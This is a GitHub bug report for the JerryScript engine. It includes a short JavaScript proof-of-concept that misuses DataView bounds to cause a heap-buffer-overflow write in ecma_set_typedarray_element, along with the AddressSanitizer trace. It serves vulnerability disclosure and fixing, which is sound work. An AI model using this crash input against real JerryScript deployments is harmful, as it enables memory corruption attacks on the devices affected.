Skip to content

heap-buffer-overflow in ecma_set_typedarray_element #3109

Closed
@mka-sec

Description

@mka-sec
Revision

376cfea

Build

./tools/build.py --clean --debug --compile-flag=-fsanitize=address
--compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer
--compile-flag=-fno-common --compile-flag=-g
--strip=off --system-allocator=on --logging=on
--error-messages=on --profile=es2015-subset

OS

Linux 4.15.0-58-generic #64-Ubuntu x86_64 GNU/Linux

Test case
var arrb = new ArrayBuffer(14);
var arr = new DataView(arrb, 13, Infinity);
arr.setUint32(9, -65536);
Backtrace

Run with jerry poc.js

=================================================================
==113911==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5100f7e at pc 0x5673265d bp 0xffe28a68 sp 0xffe28a58
WRITE of size 4 at 0xf5100f7e thread T0
    #0 0x5673265c in ecma_set_typedarray_element /jerryscript/jerry-core/ecma/operations/ecma-typedarray-object.c:210
    #1 0x56704dfc in ecma_op_dataview_get_set_view_value /jerryscript/jerry-core/ecma/operations/ecma-dataview-object.c:321
    #2 0x566a4131 in ecma_builtin_dataview_prototype_dispatch_routine /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-dataview-prototype.c:188
    #3 0x566e62d6 in ecma_builtin_dispatch_routine /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1021
    #4 0x566e6537 in ecma_builtin_dispatch_call /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1046
    #5 0x56708466 in ecma_op_function_call /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:729
    #6 0x56795d7f in opfunc_call /jerryscript/jerry-core/vm/vm.c:581
    #7 0x567ab112 in vm_execute /jerryscript/jerry-core/vm/vm.c:3629
    #8 0x567ab9c1 in vm_run /jerryscript/jerry-core/vm/vm.c:3749
    #9 0x56794be5 in vm_run_global /jerryscript/jerry-core/vm/vm.c:282
    #10 0x56656c6b in jerry_run /jerryscript/jerry-core/api/jerry.c:570
    #11 0x566535be in main /jerryscript/jerry-main/main-unix.c:743
    #12 0xf77f8e80 in __libc_start_main (/lib32/libc.so.6+0x18e80)
    #13 0x56650e90  (/home/xyz/jerryscript/tmpmaster/jerry+0x15e90)

0xf5100f7e is located 8 bytes to the right of 38-byte region [0xf5100f50,0xf5100f76)
allocated by thread T0 here:
    #0 0xf7a9ef34 in malloc (/usr/lib32/libasan.so.4+0xe5f34)
    #1 0x567377e2 in jmem_heap_alloc /jerryscript/jerry-core/jmem/jmem-heap.c:258
    #2 0x5673785a in jmem_heap_gc_and_alloc_block /jerryscript/jerry-core/jmem/jmem-heap.c:293
    #3 0x566853a4 in jmem_heap_alloc_block /jerryscript/jerry-core/jmem/jmem-heap.c:327
    #4 0x566853a4 in ecma_alloc_extended_object /jerryscript/jerry-core/ecma/base/ecma-alloc.c:109
    #5 0x566853a4 in ecma_create_object /jerryscript/jerry-core/ecma/base/ecma-helpers.c:81
    #6 0x566f7081 in ecma_arraybuffer_new_object /jerryscript/jerry-core/ecma/operations/ecma-arraybuffer-object.c:49
    #7 0x566f75e1 in ecma_op_create_arraybuffer_object /jerryscript/jerry-core/ecma/operations/ecma-arraybuffer-object.c:149
    #8 0x566a3714 in ecma_builtin_arraybuffer_dispatch_construct /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-arraybuffer.c:94
    #9 0x566e67cb in ecma_builtin_dispatch_construct /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1080
    #10 0x56709a65 in ecma_op_function_construct /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1077
    #11 0x5679639e in opfunc_construct /jerryscript/jerry-core/vm/vm.c:665
    #12 0x567ab138 in vm_execute /jerryscript/jerry-core/vm/vm.c:3641
    #13 0x567ab9c1 in vm_run /jerryscript/jerry-core/vm/vm.c:3749
    #14 0x56794be5 in vm_run_global /jerryscript/jerry-core/vm/vm.c:282
    #15 0x56656c6b in jerry_run /jerryscript/jerry-core/api/jerry.c:570
    #16 0x566535be in main /jerryscript/jerry-main/main-unix.c:743
    #17 0xf77f8e80 in __libc_start_main (/lib32/libc.so.6+0x18e80)

SUMMARY: AddressSanitizer: heap-buffer-overflow /jerryscript/jerry-core/ecma/operations/ecma-typedarray-object.c:210 in ecma_set_typedarray_element
Shadow bytes around the buggy address:
  0x3ea20190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea201a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea201b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea201c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea201d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3ea201e0: fa fa fa fa fa fa fa fa fa fa 00 00 00 00 06[fa]
  0x3ea201f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea20200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea20210: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea20220: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea20230: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==113911==ABORTING

Metadata

Metadata

Assignees

No one assigned

    Labels

    ES2015Related to ES2015 featuresbugUndesired behaviour

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions